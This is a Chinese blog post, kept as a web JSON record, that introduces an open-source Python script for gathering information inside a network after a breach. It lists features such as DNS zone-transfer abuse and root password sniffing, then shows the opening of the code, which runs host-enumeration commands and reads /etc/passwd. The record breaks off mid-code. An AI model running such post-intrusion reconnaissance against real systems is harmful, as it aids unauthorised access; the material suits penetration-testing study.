{"id":289644,"date":"2022-05-25T19:21:29","date_gmt":"2022-05-25T11:21:29","guid":{"rendered":"https:\/\/www.idc.net\/help\/289644\/"},"modified":"2022-05-25T19:21:29","modified_gmt":"2022-05-25T11:21:29","slug":"python%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86%e8%84%9a%e6%9c%acv1-0%e5%bc%80%e6%ba%90","status":"publish","type":"post","link":"https:\/\/idc.net\/help\/289644\/","title":{"rendered":"Python\u5185\u7f51\u6e17\u900f\u6d4b\u8bd5\u4fe1\u606f\u6536\u96c6\u811a\u672cv1.0(\u5f00\u6e90)"},"content":{"rendered":"<p>\u6e17\u900f\u6d4b\u8bd5\u4ece\u4e92\u8054\u7f51\u627e\u5230\u4e86\u5165\u4fb5\u5185\u7f51\u7684\u5165\u53e3\u70b9\u4e4b\u540e\u5269\u4e0b\u7684\u5c31\u5185\u7f51\u6e17\u900f\u6d4b\u8bd5\u4e86\u3002<\/p>\n<p>\u6709\u4eba\u8bf4\u5230\u4e86\u5185\u7f51\u8fd8\u4e0d\u5bb9\u6613\uff0c\u968f\u4fbf\u62ff\u4e2ahscan\u4e00\u6293\u4e00\u5927\u628a\u5f31\u53e3\u4ee4\u3002\u6211\u540c\u610f\u8fd9\u4e2a\u770b\u6cd5\uff0c\u4f46\u662f\u5728\u6211\u770b\u6765\uff0c\u5185\u7f51\u73af\u5883\u590d\u6742\u5f97\u591a\uff0c\u8981\u60f3\u7cbe\u786e\u83b7\u53d6\u81ea\u5df1\u60f3\u8981\u7684\u76ee\u6807\uff0c\u8981\u5904\u7406\u7684\u5185\u5bb9\u8981\u591a\u5f97\u591a\uff0c\u53ea\u6709\u83b7\u5f97\u4e86\u5fc5\u8981\u7684\u4fe1\u606f\uff0c\u624d\u6709\u7684\u6293\u7684\u76ee\u6807\uff0c\u6211\u8ba4\u4e3a\u4e00\u822c\u5185\u7f51\u73af\u5883\u4e2d\u7684\u6e17\u900f\u6d4b\u8bd5\u6700\u96be\u548c\u6700\u91cd\u8981\u7684\u662f\u7cbe\u786e\u7684\u4fe1\u606f\u6536\u96c6\uff0c\u5269\u4e0b\u7684\u81ea\u7136\u53ef\u4ee5\u987a\u7406\u6210\u7ae0\u7684\u8fdb\u884c\u5e38\u89c4\u7684\u6f0f\u6d1e\u626b\u63cf\u548c\u5229\u7528\u3002\u5982\u679c\u6709\u4e00\u5f20\u8be6\u7ec6\u7684\u8d44\u4ea7\u5217\u8868\u3001\u7f51\u7edc\u89c4\u5212\u56fe\u548c\u5bf9\u5e94\u7684\u5bc6\u7801\u5217\u8868\uff0c\u5c31\u6ca1\u5fc5\u8981\u6e17\u900f\u4e86\uff0c\u76f4\u63a5\u83b7\u53d6\u5404\u79cd\u6743\u9650\u5c31\u5f97\u4e86\uff0c\u4f46\u8fd9\u6837\u7684\u51e0\u7387\u5f88\u5c0f\uff0c\u4f46\u662f\u4e5f\u662f\u53ef\u80fd\u7684\uff0c\u53ea\u8981\u65f6\u95f4\u5141\u8bb8\uff0c\u4e5f\u53ef\u4ee5\u505a\u90ae\u4ef6\u76d1\u63a7\u3001\u793e\u5de5\u5206\u6790\u7b49\uff0c\u4f46\u8fd9\u662f\u53e6\u5916\u4e00\u56de\u4e8b\u4e86\u3002<\/p>\n<p style=\"text-align: center\">\n<p>\u5728\u505a\u5185\u7f51\u6e17\u900f\u7684\u65f6\u5019\uff0c\u53d1\u73b0\u81ea\u5df1\u5f00\u59cb\u5c31\u662f\u4e0d\u505c\u7684\u6572\u547d\u4ee4\uff1a\u67e5\u770bIP\u770b\u770b\u8df3\u677f\u662f\u4e0d\u662f\u5728\u5185\u7f51\u73af\u5883\u4e2d\u3001ping8.8.8.8\u770b\u770b\u662f\u5426\u80fd\u5916\u8fde\u3001netstat\u770b\u770b\u5185\u7f51\u8fde\u63a5\u7684IP\u5730\u5740\u3001\u67e5\u770bhosts\u6587\u4ef6\u6709\u6ca1\u6709hosts\u7ed1\u5b9a\u4fe1\u606f\u3001arp-a\u67e5\u770barp\u5217\u8868\u3001traceroute\u67e5\u770b\u8def\u7531\u53ef\u8fbe\u6027\u3001nslookup\u67e5\u770bdns\u89e3\u6790\u3001find\u547d\u4ee4\u67e5\u627e\u6570\u636e\u5e93\u914d\u7f6e\u4fe1\u606f\u548c\u654f\u611f\u6587\u4ef6\u7b49\u7b49\u3002\u8fd9\u4e9b\u5176\u5b9e\u90fd\u662f\u5f88\u7b80\u5355\u7684\u64cd\u4f5c\uff0c\u6ca1\u4ec0\u4e48\u6280\u672f\u542b\u91cf\uff0c\u4f46\u662f\u611f\u89c9\u6bcf\u6b21\u6d4b\u8bd5\u90fd\u4f1a\u82b1\u5f88\u591a\u65f6\u95f4\u53bb\u5904\u7406\uff0c\u7b14\u8bb0\u5f04\u5f97\u7684\u5f88\u4e71\u3002\u6240\u4ee5\u73b0\u5728\u51b3\u5b9a\u81ea\u5df1\u5f04\u4e2a\u811a\u672c\u81ea\u52a8\u8dd1\u8dd1\uff0c\u6700\u540e\u5f04\u4e2a\u7edf\u4e00\u8f93\u51fa\u6587\u6863\uff0c\u63d0\u9ad8\u5de5\u4f5c\u6548\u7387\u3002\u656c\u8bf7\u671f\u5f85\u3002<\/p>\n<p>\u7b2c\u4e00\u7248\u5199\u5f97\u6bd4\u8f83\u70c2\uff0c\u4f46\u57fa\u672c\u80fd\u7528\uff0c\u4f1a\u9010\u6e10\u6539\u8fdb<\/p>\n<p>\u3010v1\u529f\u80fd\u5982\u4e0b\uff1a<\/p>\n<p>1\u3001\u83b7\u53d6\u4e3b\u673a\u4fe1\u606f+dns\u57df\u4f20\u9001\u6f0f\u6d1e\u5229\u7528+root\u53e3\u4ee4\u55c5\u63a2(\u9700\u8981\u81ea\u5df1\u8c03\u7528\u4e0b\u4ee3\u7801)<\/p>\n<p>2\u3001\u83b7\u53d6\u5185\u7f51\u7f51\u6bb5\u6536\u96c6+\u5b58\u6d3bip\u5224\u65ad(\u591a\u7ebf\u7a0b)+\u5e38\u7528\u7aef\u53e3\u626b\u63cf(\u591a\u7ebf\u7a0b)<\/p>\n<p>bug : linux\u4e0b\u7684\u8bed\u6cd5\u6709\u4e9b\u62a5\u9519\u3001linux\u4e0b\u7684ip\u5b58\u6d3b\u5224\u65ad\u6709\u4e9b\u95ee\u9898<\/p>\n<p>\u3010v2\u66f4\u65b0\u8ba1\u5212\uff1a<\/p>\n<p>1\u3001\u4fee\u590dv1\u5b58\u5728\u7684bug\u548c\u7f16\u7801\u95ee\u9898<\/p>\n<p>2\u3001\u589e\u52a0\u654f\u611f\u6587\u4ef6\u548c\u914d\u7f6e\u6587\u4ef6\u641c\u7d22\u529f\u80fd<\/p>\n<p>3\u3001\u5f31\u53e3\u4ee4\u626b\u63cf\u529f\u80fd<\/p>\n<p>\u3010v3\u66f4\u65b0\u8ba1\u5212\uff1a<\/p>\n<p>1\u3001\u4fee\u590dv2bug<\/p>\n<p>2\u3001\u589e\u52a0arp\u55c5\u63a2\u529f\u80fd<\/p>\n<p>3\u3001\u62a5\u544a\u8f93\u51fa+\u4ea4\u4e92\u5f0f\u7f8e\u5316<\/p>\n<p>\u3010v4\u66f4\u65b0\u8ba1\u5212\uff1a<\/p>\n<p>1\u3001\u4fee\u590dv3bug<\/p>\n<p>2\u3001\u6539\u8fdb\u4ee3\u7801\u6548\u7387<\/p>\n<p>\u4e0b\u9762\u662fv1\u7248\u672c\u7684\u6e90\u7801,\u4e00\u4e2a\u5f88\u957f\u7684\u7c7b,\u672c\u6765\u8f93\u51fa\u5185\u5bb9\u662f\u4e2d\u6587\u63d0\u793a\uff0c\u540e\u6765\u53d1\u73b0\u5728\u4e00\u4e9blinux\u4e0a\u662f\u4e71\u7801\uff0c\u7d22\u6027\u6539\u6210\u4e86\u82f1\u6587\uff1a<\/p>\n<pre>\n \n \n \n <ol>\n  \n  \n  \n  <li><span><span>#!\/usr\/bin\/python <\/span><span>&nbsp;<\/span><\/span><\/li>\n  \n  \n  \n  <li><span>#&nbsp;-*-&nbsp;coding:&nbsp;cp936&nbsp;-*- <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>#coding:utf-8 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;os &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;getpass &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;time &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;socket &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;re &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>''<\/span><span>'''for&nbsp;portscan'''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>from<\/span><span>&nbsp;threading&nbsp;<\/span><span>import<\/span><span>&nbsp;Thread &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>from<\/span><span>&nbsp;Queue&nbsp;<\/span><span>import<\/span><span>&nbsp;Queue &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;platform &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;types &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>from<\/span><span>&nbsp;subprocess&nbsp;<\/span><span>import<\/span><span>&nbsp;Popen,&nbsp;PIPE &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>''<\/span><span>'''for&nbsp;dns'''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;struct &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>import<\/span><span>&nbsp;sys &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>class<\/span><span>&nbsp;InScaner: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__init__(<\/span><span>self<\/span><span>,domain): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.NUM&nbsp;=&nbsp;<\/span><span>200<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>._re_IP&nbsp;=&nbsp;r<\/span><span>'\\d+\\.\\d+\\.\\d+\\.\\d+'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>._re_startwithIP&nbsp;=&nbsp;r<\/span><span>'^\\d+\\.\\d+\\.\\d+\\.\\d+.*'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>._re_network&nbsp;=&nbsp;r<\/span><span>'^\\d+\\.\\d+\\.\\d+'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.re_ip&nbsp;=&nbsp;re.compile(<\/span><span>self<\/span><span>._re_IP) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.re_startwithIP&nbsp;=&nbsp;re.compile(<\/span><span>self<\/span><span>._re_startwithIP) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.re_network&nbsp;=&nbsp;re.compile(<\/span><span>self<\/span><span>._re_network) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_ip&nbsp;=&nbsp;socket.gethostbyname(socket.gethostname()) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.domain&nbsp;=&nbsp;domain &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.path=os.getcwd() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_hostname&nbsp;=&nbsp;<\/span><span>''<\/span><span>#os.popen('hostname').read() <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_id&nbsp;=&nbsp;<\/span><span>''<\/span><span>#os.popen('id').read() <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_userlist=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_useronline=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_last=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_systemId&nbsp;=&nbsp;<\/span><span>''<\/span><span>#os.popen('uname&nbsp;-a').read() <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_systemversion&nbsp;=&nbsp;<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_shadow&nbsp;=&nbsp;<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_issue&nbsp;=&nbsp;<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_bash_history&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_services&nbsp;=&nbsp;<\/span><span>''<\/span><span>&nbsp;<\/span><span>#\u672a\u8fdb\u884c\u8bc6\u522b <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_ESTABLISHEDlink&nbsp;=&nbsp;<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_hackCmd&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_complie&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.dns=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#self.dns=['58.83.193.214'] <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.etc_hosts=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.ifconfig=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.arp=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.route=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.inerwww=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.internetout=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.keyip=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.keyipmaybe=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkmaybe=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.network&nbsp;=&nbsp;[]<\/span><span>#192.168.1.0\u683c\u5f0f <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.q&nbsp;=&nbsp;Queue() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.s&nbsp;=&nbsp;Queue() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIPlistA&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.portlist&nbsp;=&nbsp;[<\/span><span>21<\/span><span>,<\/span><span>22<\/span><span>,<\/span><span>23<\/span><span>,<\/span><span>25<\/span><span>,<\/span><span>80<\/span><span>,<\/span><span>81<\/span><span>,<\/span><span>443<\/span><span>,<\/span><span>1433<\/span><span>,<\/span><span>1521<\/span><span>,<\/span><span>3306<\/span><span>,<\/span><span>3398<\/span><span>,<\/span><span>5800<\/span><span>,<\/span><span>5900<\/span><span>,<\/span><span>5901<\/span><span>,<\/span><span>5902<\/span><span>,<\/span><span>6379<\/span><span>,<\/span><span>7001<\/span><span>,<\/span><span>7002<\/span><span>,<\/span><span>7070<\/span><span>,<\/span><span>8080<\/span><span>,<\/span><span>8081<\/span><span>,<\/span><span>8181<\/span><span>,<\/span><span>8888<\/span><span>,<\/span><span>9090<\/span><span>,<\/span><span>9200<\/span><span>,<\/span><span>27017<\/span><span>,<\/span><span>28018<\/span><span>] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIP_portOpen={} &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIP_weakPass={} &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;HostInfoGet(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###################Get&nbsp;localhost&nbsp;information####################'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####localhost&nbsp;IP####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_ip+<\/span><span>'\\n'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_hostcmdList&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'hostname'<\/span><span>,<\/span><span>#\u4e3b\u673a\u540d <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'id'<\/span><span>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u7528\u6237id <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>''<\/span><span>''' <\/span>&nbsp;<\/li>\n  \n  \n  \n  <li><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cat&nbsp;\/etc\/passwd|grep&nbsp;-v&nbsp;nologin|grep&nbsp;-v&nbsp;halt|grep&nbsp;-v&nbsp;shutdown|awk&nbsp;-F\":\"&nbsp;'{&nbsp;print&nbsp;$1\"|\"$3\"|\"$4}' <\/span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'''<\/span><span>, &nbsp;<\/span><\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'w'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'last'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'uname&nbsp;-a'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'cat&nbsp;\/etc\/issue'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;hostname#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_hostname&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>0<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_hostname &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;current&nbsp;user#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_id&nbsp;=&nbsp;os.popen(_hostcmdList[<\/span><span>1<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.host_id &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  